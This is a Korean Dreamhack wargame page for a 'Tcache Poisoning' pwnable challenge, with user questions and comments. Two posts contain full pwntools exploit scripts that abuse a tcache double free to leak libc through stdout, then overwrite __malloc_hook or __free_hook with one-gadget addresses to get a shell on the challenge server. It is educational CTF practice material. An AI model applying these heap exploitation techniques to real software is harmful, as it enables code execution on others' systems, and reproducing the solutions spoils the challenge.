LEVEL 3

Tcache Poisoning

pwnable
  • 문제 정보
  • 풀이 48
  • 난이도 투표 92
  • 질문 17
  • 최근 풀이자 972
  • 댓글 28

문제 설명

Description

Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.

Challenge Updates

2023.04.28: Dockerfile이 제공됩니다.

난이도 투표 92

질문 17

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
__malloc_hook으로 시도해보았지만...
안녕하세요 고수분들 바쁘실텐데 제 질문에 귀중한 시간 내어주셔서 우선 감사인사 드립니다. 강의 익스 과정대로 __free_hook을 overwrite하는데는 이해하고 익스해봤는데요 __malloc_hook을 덮어도 익스해보면 어떨까 했는데 잘 되지않았습니다. __malloc_hook을 libc-2.27.so의 one gadget으로 overwrite하고 switch구문 allocation 1.에 malloc호출해봤는데 EOF 혹은 가젯을 지나쳐 printf("Content: ")이후의 read함수에 걸리지만 쉘이 키보드 입력에 반응하지않습니다. 아직 초보라 개념이 잘 안잡혀있긴한데 이해하려고 최대한 노력해보겠습니다. 포너블 고수님ㅠㅠ 도와주세요!! #!/usr/bin/env python3 from pwn import * def slog(name, addr): return log.success(': '.join([name, hex(addr)])) target_file = './tcache_poison' p = process(target_file, env={'LD_PRELOAD' : './libc-2.27.so'}) p = remote('host3.dreamhack.games', 23578) elf = ELF(target_file) ''' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ''' libc = ELF('./libc-2.27.so') def allocate(size, content): p.sendlineafter(b'4. Edit\n', b'1') p.sendlineafter(b'Size: ', str(size).encode()) p.sendafter(b'Content: ', content) def free(): p.sendlineafter(b'4. Edit\n', b'2') def print_chunk(): p.sendlineafter(b'4. Edit\n', b'3') def edit_chunk(content): p.sendlineafter(b'4. Edit\n', b'4') p.sendafter(b'Edit chunk: ', content) if name == 'main': Initial tcache[0x40] is empty. tcache[0x40]: Empty Allocate and free a chunk of size 0x40 (chunk A) tcache[0x40]: chunk A allocate(0x40, b'dreamhack') free() Free chunk A again, bypassing the DFB mitigation tcache[0x40]: chunk A -> chunk A edit_chunk(p64(0) + b'\xff') free() DFB segment fault check allocate(0x40, b'dreamhack') allocate(0x40, b'dreamhack') Append address of stdout to tcache[0x40] tcache[0x40]: chunk A -> stdout -> IO_2_1_stdout -> ... addr_stdout = elf.symbols['stdout'] allocate(0x40, p64(addr_stdout)) tcache[0x40]: stdout -> IO_2_1_stdout -> ... allocate(0x40, b'dreamhack') tcache[0x40]: IO_2_1_stdout -> ... io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout'])[0:1] # least significant byte of IO_2_1_stdout allocate(0x40, _io_2_1_stdout_lsb) # allocated at stdout Libc leak print_chunk() p.recvuntil('Content: ') stdout = u64(p.recv(6).ljust(8, b'\x00')) slog('stdout', stdout) libc_base = stdout - libc.symbols['IO_2_1_stdout'] slog('libc_base', libc_base) mh = libc_base + libc.symbols['__malloc_hook'] slog('malloc_hook', mh) fh = libc_base + libc.symbols['__free_hook'] slog('free_hook', fh) og_list = [0x4f3ce, 0x4f3d5, 0x4f432, 0x10a41c] one_gadget = libc_base + og_list[3] slog('one_gadget', one_gadget) Overwrite the __malloc_hook with the address of one-gadget Initial tcache[0x50] is empty. tcache[0x50]: Empty tcache[0x50]: chunk B allocate(0x50, b'dreamhack') free() tcache[0x50]: chunk B -> chunk B -> ... edit_chunk(p64(0) + b'\xff') free() tcache[0x50]: chunk B -> __malloc_hook allocate(0x50, p64(mh)) tcache[0x50]: __free_hook allocate(0x50, b'dreamhack') __malloc_hook = the address of one-gadget allocate(0x50, p64(one_gadget)) Call malloc() to get shell allocate(0x50, p64(0)) free() allocate(0x50, p64(one_gadget)[0:1]) Communicate with shell p.interactive() `
oled는다크테마를좋아해
DFB 사용을 꼭 해야하는 이유가 있을까요 ?
이번 문제의 풀이에는 Double Free Bug를 사용했는데, 사실 생각해보면 tcache에 존재하는 청크의 값을 수정할 수 있는 edit 함수가 있다면, next를 수정할 수 있기 때문에 임의의 청크를 DFB를 사용하지 않고 추가할 수 있어서 아래와 같이 풀었는데, 이렇게 풀지 않고 꼭 DFB를 써야 하는 이유가 있을까요 ? from pwn import * p = remote('host3.dreamhack.games', 24385) elf = ELF('./tcache_poison') libc = ELF('./libc-2.27.so') def allocate(size, content): p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size: ', str(size).encode()) p.sendafter(b'Content: ', content) # 나중에 _IO_2_1_stdout__lsb를 보낼때 sendline으로 보내면 공백이 추가되서 안됨 def free(): p.sendlineafter(b'Edit\n', b'2') def print_chunk(): p.sendlineafter(b'Edit\n', b'3') def edit(content): p.sendlineafter(b'Edit\n', b'4') p.sendafter(b'Edit chunk: ', content) tcache[0x40] : empty chunk : first(1) allocate(0x30, b'first') tcache[0x40] : first(1) chunk : first(1) free() # (1) tcache[0x40] : first(1) -> stdout -> IO_2_1_stdout chunk : first(1) stdout = elf.symbols['stdout'] edit(p64(stdout) + b'a') tcache[0x40] : stdout -> IO_2_1_stdout chunk : first(1) allocate(0x30, b'a') 어떤 값을 대입하면서 allocate하더라도 이미 tcache에는 stdout이 링크드 리스트의 헤더(청크의 헤더X)로 존재하므로 상관없음 tcache[0x40] : IO_2_1_stdout chunk : stdout IO_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout'])[0:1] # 첫번째 문자열 가져옴 : 문자열에서 첫번째는 lsb allocate(0x30, _IO_2_1_stdout_lsb) 여기서 중요한게, 바로 아래에서 print_chunk를 할건데, stdout에 저장된(가리키는) IO_2_1_stdout을 변조하면 안됨 하지만 libc base를 몰라서 IO_stdout을 모르지만, 다행히 하위 3비트는 오프셋으로 고정되어 있어서 하위 1바이트인 lsb도 고정되있어서 lsb를 대입해주면 됨(리틀엔디언 잘 생각) print_chunk() # stdout에 저장된 IO_2_1_stdout_lsb 주소 출력 p.recvuntil(b'Content: ') # print_chunk에서 'Content: '는 안받아줬기 때문에 여기까지 받아줘야 libc_base를 제대로 계산 가능 Leak libc base libc_base = u64(p.recvn(6).ljust(8, b'\x00')) - libc.symbols['IO_2_1_stdout'] free_hook = libc_base + libc.symbols['__free_hook'] og = libc_base + 0x4f3ce og = libc_base + 0x4f3d5 og = libc_base + 0x4f432 og = libc_base + 0x10a41c 여기서 tcache[0x40] 을 다시 쓰면 IO_2_1_stdout을 가져오는데 이 주소의 값을 바꾸면 안되므로 다른 tcache 엔트리를 써야함 tcache[0x50] : empty chunk : first(1) allocate(0x40, b'first') tcahce[0x50] : first(1) chunk : first(1) free() tcache[0x50] : first(1) -> free_hook chunk : first(1) edit(p64(free_hook)) tcache[0x50] : free_hook chunk : first(1) allocate(0x40, b'a') tcache[0x50] : empty chunk : free_hook allocate(0x40, p64(og)) # free_hook이 저장된 주소에 og가 저장되어 free_hook -> og를 가리키게 됨 Exploit free() p.interactive() `
ro
LEVEL 3

Tcache Poisoning

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
2024 Invitational Contenders
출제된 지 4시간 만에 풀이 완료!

최근 풀이자 972

yrudwls
대표 업적 없음
supa-dupa
대표 업적 없음
없음1
대표 업적 없음
chanho2.kim
대표 업적 없음
DeVar
대표 업적 없음
ngloc2411
대표 업적 없음
Hackkkoooor
대표 업적 없음
Jen
대표 업적 없음
Jaehoon
대표 업적 없음
avatar
Dizet
대표 업적 없음

댓글 28

파일 다운받은 프로그램을 checksec을 하면 PIE가 적용된 걸로 나오는데, 서버에선 적용이 안됐으니 이 부분을 꼭 알아두세요 또 stdout 값을 반드시 확인하시길
avatar
Rootsquare
해결사
시스템해킹 로드맵 최고 난이도 문제. heap과ptmalloc의 동작을 총동원해서 이해하자!
avatar
Finder
.HACK 2024 참가자
포너블 어렵다...
avatar
사용자
해결사
좋은 연습문제입니다~
avatar
KnightChaser
공부벌레
뉴비한테는 좀 매운맛...☆
avatar
is07king
워게임: 1
어려워여
DFB
avatar
UKO
2022 Christmas CTF 운영
:)
avatar
Sunja
강의 수강: 10
이해를 하니...재미가 생긴 문제
avatar
msh1307
대표 업적 없음
: )